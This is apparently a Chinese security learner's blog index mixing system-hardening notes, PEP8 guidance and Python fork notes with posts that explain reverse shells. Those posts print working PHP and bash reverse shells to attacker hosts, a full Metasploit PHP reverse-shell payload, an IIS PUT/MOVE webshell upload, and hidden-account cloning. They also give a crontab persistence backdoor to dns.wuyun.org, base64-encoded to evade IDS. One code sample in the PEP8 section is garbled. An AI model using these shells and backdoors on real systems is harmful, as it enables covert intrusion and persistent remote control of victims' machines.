学习笔记

2015-7-20 mysql加固复习笔记

2015-7-20 mysql加固复习笔记
Windows下配置Mysql执行日志记录文件  找到mysql文件下的my.ini 编辑并添加一条记录:log=C:\mysqlLog.log  服务下面重启mysql服务即可测试成功的!2. Linux下可以在my.cnf下的[mysqld]下面配置log日志文件,然而并没有测试成功!... 继续阅读 »
学习笔记

2015-7-20 Linux加固复习笔记

2015-7-20 Linux加固复习笔记
常用命令查看路由表: netstat -rn  2. 查看当前进程ps -aux  3. 账号锁定策略使用命令“cat /etc/passwd”查看口令文件,与系统管理员确认不必要的账号FTP等服务的账号,如果不需要登录系统,shell应该/sbin/nologin 加固方法:设置连续输错10次密码,帐号锁定5分钟,使用命令“sudo vim /etc/pam.d/login”修改配置文件,添加auth          required        pam_tally2.so        deny=10 unlock_time=300 even_deny_root root_unlock_time=300注意添加的位置,要写在第一行,即#%PAM-1.0的下面。  4. 检查特速账号查看空口令和root权限的账号使用命令“awk -F: '($2=="")' /etc/shadow”查看空口令账号使用命令“awk -F: '($3==0)' /etc/passwd”查看UID为零的账号  5. 添加口令周期策略  查看策略设置:vi /etc/login.defs修改配置文件:PASS_MAX_DAYS   90        #新建用户的密码最长使用天数PASS_MIN_DAYS   0          #新建用户的密码最短使用天数PASS_WARN_AGE   7         #新建用户的密码到期提前提醒天数#上面配置添加用户时,默认的配置策略,可以通过chage命令具体指定某个用户的口令策略使用chage命令修改用户设置,例如:sudo chage -m 0 -M 30 -E 2000-01-01 -W 7 <用户名>锁定用户功能谨慎使用,密码策略对root不生效6. 限制root远程登陆telnetvi编辑/etc/securetty文件,配置:CONSOLE = /dev/tty01 7. 配置TCP Wrapper 使用命令“vi /etc/hosts.allow”和“vi /etc/hosts.deny”修改配置vi /etc/hosts.allow按“i”进入编辑模式加入:sshd:IP地址vi /etc/hosts.deny按“i”进入编辑模式sshd: ALL : deny8. 限制Ctrl + Alt + Del命令 vi /etc/inittab先使用命令“vi /etc/inittab”编辑配置文件,在行开头添加注释符号“#”#ca::ctrlaltdel:/sbin/shutdown -t3 -r now,再使用命令“init q”应用设置有上面的语句的话取消注释,没有的话就添加一行内容为:ca::ctrlaltdel:/sbin/shutdown -t3 -r now9. 查看NFS共享使用命令“vi /etc/exports”编辑配置文件,删除不必要的共享10. 网络参数TTL值最大0-255,超过了255就超出了比如:设置TTL为 1000实际TTL为 1000 mod 256 = 232实际值对 256取模使用命令“vi /etc/sysctl.conf”修改配置文件,有选择的添加以下内容:net.ipv4.icmp_echo_ignore_broadcasts = 1   # 忽略ICMP广播net.ipv4.icmp_echo_ignore_all = 1           # 忽略ICMP echo请求net.ipv4.ip_default_ttl = 128                 #   修改TTL为128使用命令“sysctl -p”使更改生效10.  重要目录和文件的权限设置.执行以下命令检查目录和文件的权限设置情况: chmod 700 /bin/rpm    chmod 600 /etc/exports  #NFS共享目录配置文件  chmod 600 /etc/hosts.*  #主机访问控制文件  chmod 644 /var/log/messages  #系统日志配置文件  chmod 640 /etc/syslog.conf  chmod 660 /var/log/wtmp  chmod 640 /var/log/lastlog  chmod 600 /etc/ftpusers  #用户口令文件  chmod 644 /etc/passwd  chmod 600 /etc/shadow  #校验模块配置文件目录  chmod R 750 /etc/pam.d   chmod 600 /etc/lilo.conf  #终端配置文件  chmod 600 /etc/securetty  chmod 400 /etc/shutdown.allow  #系统访问安全配置文件  chmod 700 /etc/security  #网络系统配置文件  chmod R 751 /etc/sysconfig  #超级守护进程配置文件  chmod 600 /etc/xinetd.conf  chmod 600 /etc/inetd.conf  chmod R 750 /etc/rc.d/init.d/  chmod 750 /etc/rc.d/init.d/*  #自动运行程序控制文件  chmod 600 /etc/crontab  chmod 400 /etc/cron.*  #SSH配置文件  chmod 750 /etc/ssh  #内核控制配置文件  chmod 400 /etc/sysctl.confg 11. 设置登陆超时    设置系统登录后,连接超时时间,增强安全性  使用命令“vi /etc/profile”修改配置文件,添加“TMOUT=”行开头的注释,设置为“TMOUT=180”,即超时时间为3分钟... 继续阅读 »
学习笔记

2015-7-19 数据库安全合并中间件安全

2015-7-19 数据库安全合并中间件安全
sqlserver数据库1.sqlserver服务器角色中sysadmin权限最高2.sqlserver使用的密码策略是windows系统的密码策略3.查看所有数据库 select name from sys.databases;查看当前库中的所有表select name from sys.tables;web应用服务器攻防4.nc使用方法:nc ip portOPTIONS / HTTP/1.1Host: ip/domainContent-Length: 0紧跟两个回车5.Apache banner信息泄露信息的修复建议:修改httpd.conf,将ServerTokens值(服务器操作系统的名称)改为Prod、ServerSignature值(Apache的版本)改为Off。6.禁止Apache目录浏览修改http.conf文件,<Directory "D:/Apache/blog.phpha.com">Options Indexes FollowSymLinks # 修改为: Options  FollowSymLinks    AllowOverride None    Order allow,deny    Allow from all</Directory>将Indexes去掉7.禁止Tomcat目录浏览修改/conf/web.xml<servlet>        <servlet-name>default</servlet-name>        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>        <init-param>            <param-name>debug</param-name>            <param-value>0</param-value>        </init-param>        <init-param>            <param-name>listings</param-name>            <param-value>true</param-value>        </init-param>        <load-on-startup>1</load-on-startup>    </servlet>将listings的值改为false.8.IIS PUT上传攻击,先上传txt,然后将txt重命名为aspPUT /test.txt HTTP/1.1Host: 127.0.0.1Content-Length: 10testMOVE /test1.txt HTTP/1.1Host: 127.0.0.1Destination: http://www.coffeehb.cn/shell.asp9.Tomcat SHUTDOWN字符串向Tomcat 8005端口发送SHUTDOWN字符串会导致Tomcat进程退出10.apache将特殊目录使用密码保护首先利用htpasswd生成密码文件,windows下创建方法:htpasswd -c C:\htpasswd.txt username修改httpd.conf,添加如下行<Directory "特殊目录">Options Indexes FollowSymLinksAllowOverride AuthConfigAuthType BasicAuthName "annex's password"AuthUserFile 用户密码文件Require user 授权用户名</Directory>比如:<Directory "/var/site1/passwd">Options Indexes FollowSymLinksAllowOverride AuthConfigAuthType BasicAuthName "annex's password"AuthUserFile /usr/local/etc/passwd.httpdRequire user annex</Directory>11.Tomcat为特殊目录使用密码保护的实践未成功... 继续阅读 »
学习笔记

2015-7-18 操作系统安全笔记

2015-7-18  操作系统安全笔记
1.root SID最后是0  windows的SID最后为500的表示administrator账户,501表示guest用户,建立的普通用户SID都在1000以上。2.linux下文件的最高权限是666,文件夹的最高权限是777,文件的权限=666-umask的值/etc/profile保存了系统变量和历史命令3.克隆账户时用户名和值的注册表都要导入,不要忘记用户名那个注册表喔!!!先建立隐藏账户,同时设置密码,比如:net user test$ test /add。然后再注册表中将test$的用户名注册表和键值注册表导出,将要克隆的账户的键值注册表也导出,将要克隆的账户的F值复制覆盖到test$的F值。然后,在命令行下将test$账户删除。最后,将test$的用户名注册表和键值注册表导入。4.linux telnet配置文件/etc/xinetd.d/telnet5.linux系统日志,/var/log6.禁止系统自动登录,“开始->运行->control userpasswords2”:查看是否启用“要是用本机,用户必须输入用户名和密码”选项。7.FAT文件系统转换为NTFS文件系统,如convert C:/fs:ntfs8.linux配置IP:vi /etc/sysconfig/network-scripts/ifcfg-eth0<hr class="more" />安全加固考试大纲:系统版本信息查看(linux:uname,、windows:systeminfo,ver,)用户信息(net user 用户名)账户有关操作iptables查看服务(linux、windows)linux配置文件linux文件目录极其作用ssh配置NSF共享windows常用命令ver查看系统版本wmic os get servicePackMajorVersion查看sp版本hostname查看主机名ipconfig /all查看网络记录net user/localgroup/share/config查看用户、用户组、共享、查看正在运行的服务linux常用命令uname -a查看内核信息rpm -qa查看所有软件包hostname查看主机名ifconfig -a查看网络配置netstat -an查看开放端口netstat -rn查看路由表ps -aux查看当前进程question:su切换至高权限用户一直提示密码错误禁止root使用telnet远程登录pam.d/system-auth... 继续阅读 »
Python编程

python脚本要好好写-PEP8 Python 编码规范

python脚本要好好写-PEP8 Python 编码规范
0x01.背景       过去学习和需要的时候一直都是在Windows下写的py脚本或小Tools,几乎没在Linux下编写和测试过.一直认为在DOS命令窗口下python>> 写一下满足需要,复杂一点的就打开Pycharm或pydev+Eclipse编写脚本就能完事,没必要打开虚拟机去Linux环境下编写脚本.      虽然windows下写的脚本有时候出各种问题,每次都要百度查找解决一个又一个问题,但是还是妥协于懒得打开虚拟机一开虚拟机电脑用着就卡住了.       喜欢BB2的分享精神,之前很尴尬的事是拿着上面写Poc怎么跑都要出错,老是说baseframe有问题,在Pip上各种翻都没法弄.我很喜欢python也很想写POC一边练习python脚本编写一边去了解和分析漏洞存在的原因.能搞懂一个漏洞并写出漏洞Poc感觉肯定很巴适!0x02.迷雾揭开      今晚无意看到个帖子:千万不要把Python脚本的第一行写成“#! /usr/bin/python”      提到唯一的正确写法:  #! /usr/bin/env python     这是Linux下最佳实践. 利用env找到当前用户环境里找到python解释器不用考虑python解释器在何位置吧. 这样写的py脚本.      chmod 添加x权限后,’./xxx.py’ 就可以直接执行了. Windows下也可以使用#!    加Python解释器绝对路径 然后.直接执行. 但是Windows下安装Python的时候python解释器路径被加在了环境变量里的,所以可以直接使用的.执行脚本. 这行代码让我想到了BB2上写的POC了,BB2上写的就是这么规范,于是多看了两下,于是看到开发文档里说到了baseframe框架.这才发现BB2上写的POC用的baseframe是自定义的啊,曾经那么多次苦恼终于揭开了. 马上下载了BB2的框架。在Linux下测试了他人写的POC可行的了. 以后可以写自己的Poc提到BB2和利用别人的POC做检测了. 开始慢慢转移到Linux下编写脚本了,放弃windows!0x03. Python编程PEP8规范        找到豆瓣一篇详细说到了Python编程中的PEP8规范,这里记录一下以备需要时来翻一翻。        PEP8 Python 编码规范代码编排        1 缩进。4个空格的缩进(编辑器都可以完成此功能),不使用Tap,更不能混合使用Tap和空格。        2 每行最大长度79,换行可以使用反斜杠,最好使用圆括号。换行点要在操作符的后边敲回车。        3 类和top-level函数定义之间空两行;类中的方法定义之间空一行;函数内逻辑无关段落之间空一行;其他地方尽量不要再空行。          二 文档编排        1 模块内容的顺序:模块说明和docstring—import—globals&constants—其他定义。其中import部分,又按标准、三方和自己编写顺序依次排放,之间空一行。        2 不要在一句import中多个库,比如import os, sys不推荐。        3 如果采用from XX import XX引用库,可以省略‘module.’,都是可能出现命名冲突,这时就要采用import XX。          空格的使用        总体原则,避免不必要的空格。        1 各种右括号前不要加空格。        2 逗号、冒号、分号前不要加空格。        3 函数的左括号前不要加空格。如Func(1)。        4 序列的左括号前不要加空格。如list[2]。        5 操作符左右各加一个空格,不要为了对齐增加空格。        6 函数默认参数使用的赋值符左右省略空格。        7 不要将多句语句写在同一行,尽管使用‘;’允许。        8 if/for/while语句中,即使执行语句只有一句,也必须另起一行。           注释        总体原则,错误的注释不如没有注释。所以当一段代码发生变化时,第一件事就是要修改注释!        注释必须使用英文,最好是完整的句子,首字母大写,句后要有结束符,结束符后跟两个空格,开始下一句。如果是短语,可以省略结束符。        1 块注释,在一段代码前增加的注释。在‘#’后加一空格。段落之间以只有‘#’的行间隔。比如:        # Description : Module config.        #        # Input : None        #        # Output : None        2 行注释,在一句代码后加注释。比如:x = x + 1 # Increment x        但是这种方式尽量少使用。        3 避免无谓的注释。          文档描述        1 为所有的共有模块、函数、类、方法写docstrings;非共有的没有必要,但是可以写注释(在def的下一行)。        2 如果docstring要换行,参考如下例子,详见PEP 257        “””Return a foobang                Optional plotz says to frobnicate the bizbaz first.                “””          命名规范        总体原则,新编代码必须按下面命名风格进行,现有库的编码尽量保持风格。        1 尽量单独使用小写字母‘l’,大写字母‘O’等容易混淆的字母。        2 模块命名尽量短小,使用全部小写的方式,可以使用下划线。        3 包命名尽量短小,使用全部小写的方式,不可以使用下划线。        4 类的命名使用CapWords的方式,模块内部使用的类采用_CapWords的方式。        5 异常命名使用CapWords+Error后缀的方式。        6 全局变量尽量只在模块内有效,类似C语言中的static。实现方法有两种,一是__all__机制;二是前缀一个下划线。        7 函数命名使用全部小写的方式,可以使用下划线。        8 常量命名使用全部大写的方式,可以使用下划线。        9 类的属性(方法和变量)命名使用全部小写的方式,可以使用下划线。        9 类的属性有3种作用域public、non-public和subclass API,可以理解成C++中的public、private、protected,non-public属性前,前缀一条下划线。        11 类的属性若与关键字名字冲突,后缀一下划线,尽量不要使用缩略等其他方式。        12 为避免与子类属性命名冲突,在类的一些属性前,前缀两条下划线。比如:类Foo中声明__a,访问时,只能通过Foo._Foo__a,避免歧义。如果子类也叫Foo,那就无能为力了。        13 类的方法第一个参数必须是self,而静态方法第一个参数必须是cls。         编码建议        1 编码中考虑到其他python实现的效率等问题,比如运算符‘+’在CPython(Python)中效率很高,都是Jython中却非常低,所以应该采用.join()的方式。        2 尽可能使用‘is’‘is not’取代‘==’,比如if x is not None 要优于if x。        3 使用基于类的异常,每个模块或包都有自己的异常类,此异常类继承自Exception。        4 异常中不要使用裸露的except,except后跟具体的exceptions。        5 异常中try的代码尽可能少。比如:        try:         value = collection[key]         except KeyError:         return key_not_found(key)         else:         return handle_value(value)        要优于         broad!         return handle_value(collection[key])         except Ktry:         # TooeyError:         # Will also catch KeyError raised by handle_value()         return key_not_found(key)        6 使用startswith() and endswith()代替切片进行序列前缀或后缀的检查。比如:        Yes: if foo.startswith(‘bar’):优于        No: if foo[:3] == ‘bar’:        7 使用isinstance()比较对象的类型。比如        Yes: if isinstance(obj, int): 优于        No: if type(obj) is type(1):        8 判断序列空或不空,有如下规则        Yes: if not seq:         if seq:        优于        No: if len(seq)         if not len(seq)        9 字符串不要以空格收尾。        10 二进制数据判断使用 if boolvalue的方式。... 继续阅读 »
渗透技巧

分析各类反弹shell的姿势之PHP版

分析各类反弹shell的姿势之PHP版
        0x01.适用对象            php版本4以上Linux Windows均可.        0x02.利用方式.            1.windows中                切换到php安装目录,执行下面命令:php -r ‘$sock=fsockopen("攻击者监听连接的外网Ip",端口PORT);exec("/bin/sh -i <&3 >&3 2>&3");’            2.linux中                在终端里直接执行命令:php -r ‘$sock=fsockopen("攻击者监听连接的外网Ip",端口PORT);exec("/bin/sh -i <&3 >&3 2>&3");’        0x03.运行分析.            1. php命令参数Usage: php [options] [-f] <file> [–] [args…] php [options] -r <code> [–] [args…] php [options] [-B <begin_code>] -R <code> [-E <end_code>] [–] [args…] php [options] [-B <begin_code>] -F <file> [-E <end_code>] [–] [args…] php [options] -S <addr>:<port> [-t docroot] php [options] — [args…] php [options] -a -a Run interactively -c <path>|<file> Look for php.ini file in this directory -n No php.ini file will be used -d foo[=bar] Define INI entry foo with value ‘bar’ -e Generate extended information for debugger/profiler -f <file> Parse and execute <file>. -h This help -i PHP information -l Syntax check only (lint) -m Show compiled in modules -r <code> Run PHP <code> without using script tags <?..?> -B <begin_code> Run PHP <begin_code> before processing input lines -R <code> Run PHP <code> for every input line -F <file> Parse and execute <file> for every input line -E <end_code> Run PHP <end_code> after processing all input lines -H Hide any passed arguments from external tools. -S <addr>:<port> Run with built-in web server. -t <docroot> Specify document root <docroot> for built-in web server. -s Output HTML syntax highlighted source. -v Version number -w Output source with stripped comments and whitespace. -z <file> Load Zend extension <file>. args… Arguments passed to script. Use — args when first argument starts with – or script is read from stdin –ini Show configuration file names –rf <name> Show information about function <name>. –rc <name> Show information about class <name>. –re <name> Show information about extension <name>. –rz <name> Show information about Zend extension <name>. –ri <name> Show configuration for extension <name>.            常用的:php -f xxx.php 执行php 脚本文件.或者 php xxx.php . php -r xxx.php 执行php脚本文件实体代码,忽略<?…?>标签.使用msfpayload 生成的反向shell就是光的php代码.不带标签的。            可以加上<?php ?> 使用.            2. fsockopen函数建立一个网络连接或者Unix套接字.                使用例子: <?php $fp = fsockopen("www.baidu.com", 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: www.baidu.com\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?>            建立主机www.baidu.com 80端口的socket连接,然后读写数据模拟正常的HTTP请求.            详细参见:fsockopen            3. exec("/bin/sh -i <&3 >&3 2>&3") exec函数执行系统命令            -i 交互式执行bash.            <&3 从设备符3标识的文件读取命令.            >&3标准输出流输出到文件3            2>&3标注错误输出流输出到3        0x04.相关实践.            测试本shell图:                利用MSF生成反弹shell:msf > msfpayload php/reverse_php LHOST=192.168.23.3 LPORT=8888 R>cf_hb.php            反弹shell代码:$ipaddr=’192.168.23.3′; $port=8888; @set_time_limit(0); @ignore_user_abort(1); @ini_set(‘max_execution_time’,0); $dis=@ini_get(‘disable_functions’); if(!empty($dis)){ $dis=preg_replace(‘/[, ]+/’, ‘,’, $dis); $dis=explode(‘,’, $dis); $dis=array_map(‘trim’, $dis); }else{ $dis=array(); } if(!function_exists(‘MyudDV’)){ function MyudDV($c){ global $dis; if (FALSE !== strpos(strtolower(PHP_OS), ‘win’ )) { $c=$c." 2>&1\n"; } $KwdHnHU=’is_callable’; $QZjDm=’in_array’; if($KwdHnHU(‘system’)and!$QZjDm(‘system’,$dis)){ ob_start(); system($c); $o=ob_get_contents(); ob_end_clean(); }else if($KwdHnHU(‘exec’)and!$QZjDm(‘exec’,$dis)){ $o=array(); exec($c,$o); $o=join(chr(10),$o).chr(10); }else if($KwdHnHU(‘popen’)and!$QZjDm(‘popen’,$dis)){ $fp=popen($c,’r’); $o=NULL; if(is_resource($fp)){ while(!feof($fp)){ $o.=fread($fp,1024); } } @pclose($fp); }else if($KwdHnHU(‘shell_exec’)and!$QZjDm(‘shell_exec’,$dis)){ $o=shell_exec($c); }else if($KwdHnHU(‘passthru’)and!$QZjDm(‘passthru’,$dis)){ ob_start(); passthru($c); $o=ob_get_contents(); ob_end_clean(); }else if($KwdHnHU(‘proc_open’)and!$QZjDm(‘proc_open’,$dis)){ $handle=proc_open($c,array(array(pipe,’r’),array(pipe,’w’),array(pipe,’w’)),$pipes); $o=NULL; while(!feof($pipes[1])){ $o.=fread($pipes[1],1024); } @proc_close($handle); }else { $o=0; } return $o; } } $nofuncs=’no exec functions’; if(is_callable(‘fsockopen’)and!in_array(‘fsockopen’,$dis)){ $s=@fsockopen("udp://192.168.23.3",$port); while($c=fread($s,2048)){ $out = ”; if(substr($c,0,3) == ‘cd ‘){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’) { break; }else{ $out=MyudDV(substr($c,0,-1)); if($out===false){ fwrite($s,$nofuncs); break; } } fwrite($s,$out); } fclose($s); }else{ $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); @socket_connect($s,$ipaddr,$port); @socket_write($s,"socket_create"); while($c=@socket_read($s,2048)){ $out = ”; if(substr($c,0,3) == ‘cd ‘){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’) { break; }else{ $out=MyudDV(substr($c,0,-1)); if($out===false){ @socket_write($s,$nofuncs); break; } } @socket_write($s,$out,strlen($out)); } @socket_close($s);            msf生成的反弹shell通过ini_get读取配置,判断操作系统,哪些命令执行函数可用.通过ini_set set_time_limit 等动态调整了程序执行环境.代码确实精简强大,对Linux,Windows系统的兼容性比较好.... 继续阅读 »
渗透技巧

分析各类反弹shell之Bash版(2)

分析各类反弹shell之Bash版(2)
        0x01.背景            从好几个月前开始,就专注收听各路大神们的微博.每天上班下班,吃饭走路,蹲茅房逛街…只要手机有电都会每隔10分钟不超过半个小时就拿出手机,刷下微博.看看有没有什么大事件发生,那些大牛又在讨论什么等等.(PS:我是不是病了哦?离不开手机咯!),我一直都把微博当作我学习的工具着实学到了不少东西.今天在刷微博到ringzero牛1月26号发的微博:                        确实有眼前一亮的和似曾相识的感觉.和之前的bash版的shell有些相像但又不是一个道理,于是又来实践学习一把.        0x02.适用对象.所有Linux版系统.            ringzero牛说的任意版本的Linux系统.        0x03.利用方式.            第一步: vi /etc/crontab            第二步: 添加下面语句到文件末尾 */1 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash –noprofile -i            或者:添加这一句,效果是一样的. 不过下面这个采用base64加密,加密是为了绕过IDS的流量检测发现吧.*/1 * * * * a= echo "ZXhlYyA5PD4gL2Rldi90Y3AvbG9jYWxob3N0LzgwODA7ZXhlYyAwPCY5O2V4ZWMgMT4mOSAyPiYxOy9iaW4vYmFzaCAtLW5vcHJvZmlsZSAtaQ=="|base64 -d ;/bin/bash -c "$a";unset            第三步: NC 监听 等待连接. 和上篇差不多就不演示效果了.重在分析整个运行过程.        0x04.为理解其原理需要知道下面的东西.            1. Linux中的文件描述符.                Linux把一切都当作文件,读写设备也当然是做文件处理的,进程在操作文件的时候,内核都会在每一个进程空间中维护着一个文件描述符.进程所打开的文件都会通过这个文件描述符来引用.详细见            2. Linux中的定时执行任务Crontab            找到这么一段描述:                crontab是Unix和Linux用于设置周期性被执行的指令,是互联网很常用的技术,很多任务都会设置在crontab循环执行,如果不使用crontab,那么任务就是常驻程序,这对你的程序要求比较高,一个要求你的程序是24X7小时不宕机,一个是要求你的调度程序比较可靠,实际工作中,90%的程序都没有必要花这么多时间和精力去解决上面的两个问题的,只需要写好自己的业务逻辑,通过crond这个工业级程序去调度就行了,crond的可靠性,健壮性,大家应该是毫无疑问的。            那么神奇的crontab怎么使用呢?                crontab命令参数:                -u 指定定时执行任务所属用户.                -l 查看定时执行任务列表.                -e 编辑任务.                -r 删除任务.            举例子:            添加任务                crontab -e            弹出的编辑框:            里面写你的定时任务.            我在测试这个后门的时候,用的backbox和Centos6.4来实践的.初次接触crontab经过了各种困难查资料.你可以直接vi /etc/crontab 文件,在文件里面添加定时任务,然后 /etc/init.d/cron restart. 不知道为什么backbox下原/etc/crontab文件有问题,直接的添加的任务始终启动不起来,centos下正常启动了任务.所有,我直接用centos的该文件替换掉backbox的crontab文件.然后再测试定时任务就没有问题了.            /etc/crontab文件格式如下:[php]# Unlike any other crontab you don’t have to run the crontab'# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.SHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=rootHOME=/# For details see man 4 crontabs# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed#我测试添加定时任务:*/1 * * * * root cd /var/tmp && echo " hello world " >>1.txt     任务解析:        每1分钟,以root身份打开目录/var/tmp 并且输出hello world 字符串追加到文件1.txt中.        效果:                    3. 你要是和我一样也关注了微博上一个介绍Linux实用命令的微博的话,你肯定也知道这个:            解码:echo aGVsbG93b3JsZAo= | base64 -d            编码:echo helloworld | base64       效果图:                    4.linux中可以用 () 把多条命令写一起来执行,为了书写命令的时候方便查看.        例如:root@greenboy:~/Desktop/tmp# ( > echo "0x01" > echo "0x02" > echo "0x03" > echo "0x04" > echo "0x05" > echo "0x06" > ) # 闭合结束,并执行. 0x01 0x02 0x03 0x04 0x05 0x06 root@greenboy:~/Desktop/tmp#        图:                    当然还可以嵌套使用():root@greenboy:~/Desktop/tmp# ( > echo "outside-1" > echo "outside-2" > ( > echo "inside-1" > echo "inside-2" > ) > echo "outside-3" > echo "outside-4" > ) outside-1 outside-2 inside-1 inside-2 outside-3 outside-4 root@greenboy:~/Desktop/tmp#    图:                            5. 有了上面的,再加上之前那篇bash说明,现在就可以理解shell的运行实现了.            还原shell执行过程.                未加密版:(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -                执行流程:                    1.查看定时任务.                    2. echo 输出到Io输出流里.                    3.crontab - 应该是从IO输出流里读数据写入crontab文件里,等输出流结束后crontab判断是否格式符合.具体的意思也不太明白,使用crontab命令添加的定时任务是保存在/var/spool/cron/crontab文件夹下. 未使用-u 指定用户的默认放该目录下,-u指定了用户会创建用户文件发其xiam.如图:                            测试的时候有-u指定了用户greenboy.和root所有创建了两个字文件夹,使用crontab - 时会在这里生成一个临时文件. 目测是可以在crontab - 下面直接写符合格式的定时任务的.但是还不知道怎么保存退出.CTRL+C 强制退出的话添加是失败的,临时文件消失.kill 掉的话临时文件会保留在,也是添加失败的.这里原因还不清楚.                4. 添加的定时任务解析:                从crontab启动开始,每60分钟执行一次定时任务,任务执行命令:exec 9<> exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i                5. 命令解析:                    exec 9<>:定义文件描述符9,表示从建立的通信文件/dev/tcp/IP/PORT里读写数据.                    exec 0<&9 :从文件描述9找文件读取到标准输入里                    exec 1>&9: 把标准输出流重定向到文件描述符9输出.                    2>&1: 标准错误输出也重定向到标准输出.                最后bash执行shell.        加密版*/60 * * * * a= echo "ZXhlYyA5PD4gL2Rldi90Y3AvbG9jYWxob3N0LzgwODA7ZXhlYyAwPCY5O2V4ZWMgMT4mOSAyPiYxOy9iaW4vYmFzaCAtLW5vcHJvZmlsZSAtaQ=="|base64 -d`;/bin/bash -c "$a";unset            1. 在bash执行a代表的字符串            2. base64先解密            3. 其他同上.        0x05.总结.                1. 又学到了点bash shell知识.                2. 又认识了下/dev/tcp/IP/PORT这个特殊文件的魅力.                3. 学到了crontab定时任务,这个用处很多啊.                4. 查base64加密解密有Linux足矣.                5. 又认识了下重定向的强大,有的还是一知半解的.                6. 有幸学到了ringzero牛这居家必备的反弹shell.参考知识:Linux shell I/O重定向详解Linux下定时执行脚本... 继续阅读 »
Python编程

python里的fork函数

python里的fork函数
        0x01.什么是fork()函数            fork()是计算机程序设计中的分叉函数.            返回值: 若成功调用一次则返回两个值,子进程返回0,父进程返回子进程标记;否则,出错返回-1.            示例:    >>> import os     >>> print os.fork()     4150     0            终端下查看:    root@greenboy:~/Desktop/SPSE/Lesson-2# pidof python         4150 4148     root@greenboy:~/Desktop/SPSE/Lesson-2# ps all | grep python     0 0 4148 3363 20 0 11296 4468 poll_s S+ pts/3 0:00 python     1 0 4150 4148 20 0 11428 3256 poll_s S+ pts/3 0:00 python            可以看出pid为4150是新创建出来的pid为4148的子进程.返回值 4150一个是子进程PID,0是标识创建成功了.        0x02.fork()函数有什么意思            用下面的代码来实践下:root@greenboy:~/Desktop/SPSE/Lesson-2# cat pro.py #! /usr/bin/env python from time import sleep import os def child_process(): print "I am child process and my PID is : %d"%os.getpid() print "The Child is exiting!" ida = 1 while True: print "child excute "+repr(ida)+" times" sleep(2) ida = ida + 1 def parent_process(): print "I am the parent process with PID:%d"%os.getpid() childpid = os.fork() if childpid ==0: child_process() else: print "We are inside the parent process" print "Our child has the PID:%d"%childpid idb = 1 while True: print "parent excute "+repr(idb)+" times…" sleep(2) idb = idb + 1 parent_process()        执行效果:                    杀掉子进程:root@greenboy:~/Desktop/SPSE/Lesson-2# kill pid 4346 bash: kill: pid: arguments must be process or job IDs root@greenboy:~/Desktop/SPSE/Lesson-2#            现在只有父进程在执行了:                                重新来一次,杀死父进程:            效果:                            查看PID                            子进程被托付给PID为1的进程了,通过查看找到PID为1的是守护进程:                            它是最上级的进程了,他的PPID为0了.这样该子进程就会在后台一直默默的执行着,做后门是不是很棒了??反弹shell的python版要去好好学习下!        Linux中fork学习:        linux中的fork函数... 继续阅读 »
渗透技巧

分析各类反弹shell的姿势之Bash版

分析各类反弹shell的姿势之Bash版
     好好学习,天天向上.    0x01.适用对象        bash 是一个为GNU计划编写的Unix shell,是大多数Linux系统内置的shell. 因此适用于大多数Linux版本的系统.    0x02.利用方式        第一步:编写下面bash脚本bash -i >& /dev/tcp/攻击者Ip或肉鸡IP/shell端口 0>&1        或者bash -s >& /dev/tcp/攻击者Ip或肉鸡IP/shell端口 0>&1                这里写了两个bash脚本,bash执行参数有点不一样.-s 输入exit后断开.    第二步:给予bash执行权限x            后门已经创建好了,当前用户执行./bashDoor1.sh就会反弹了一个当前用户bash执行权限的shell到IP为                    192.168.1.101端口为8888.第三步:Nc本地监听等待连接..      使用NC本地监听端口8888,等待连接….nc.exe -vv -l -p 8888   第四步:启用后门 ./bashDoor1.sh   或者  ./bashDoor2.sh  NC 连接上后门                 0x03. 为理解其原理需要知道下面的东西        1. 要知道Linux中一切都看作是文件,在Linux中标准输入设备STDIN,在程序执行时一直开启等待用户的数据输入,标准输出设备STDOUT,标准错误输出设备STDERR默认面向屏幕或终段输出.他们的文件描述符如下:        STDIN 的文件描述符为 0        STDOUT 的文件描述符为 1        STDERR 的文件描述符为 2        2.要知道文件重定向:            重定向符:> 和 < > 输出到文件            < 从文件中接受输入 其中对于重定向输出:>            使用时是这样的:文件描述符>文件名            > 前面默认是1使用标准输出设备输出            > 后面可以使用&表明后面也当作文件描述符.root@greenboy:~/Desktop/tools/exploit# cat <bashdoor2.sh #<="" bash="" -i="" style="box-sizing: border-box;">& /dev/tcp/192.168.1.101/8888 0>&1 root@greenboy:~/Desktop/tools/exploit# cat <2.txt #2.txt文件不存在报错 bash: 2.txt: No such file or directory root@greenboy:~/Desktop/tools/exploit# cat >2.txt #> 表示输出到2.txt文件,没有文件就创建新的,已经存在就会覆盖原文件. aaa a a a a a a ^C root@greenboy:~/Desktop/tools/exploit# cat 2.txt aaa a a a a a a root@greenboy:~/Desktop/tools/exploit#        3. 要知道Linux下面有个特殊的问文件 /dev/tcp[udp]/host/post文件            可以通过这个文件实现TCP或UDP通信.            结合重定向和TCP通信,可以有下面例子:            NC本地监听开启8888端口:nc.exe -vvlp 8888        使用TCP通信cat读取来自IP为192.168.1.101的8888端的数据,然后重定向输出到文件8888.txt        cat 8888.txt        通信建立成功,开始写数据.                     ctrl + c 中断通信                    Linux查看当前目录下多了个8888.txt文件:            查看内容:root@greenboy:~/Desktop/tools/exploit# cat 8888.txt hello welcome to here good bye 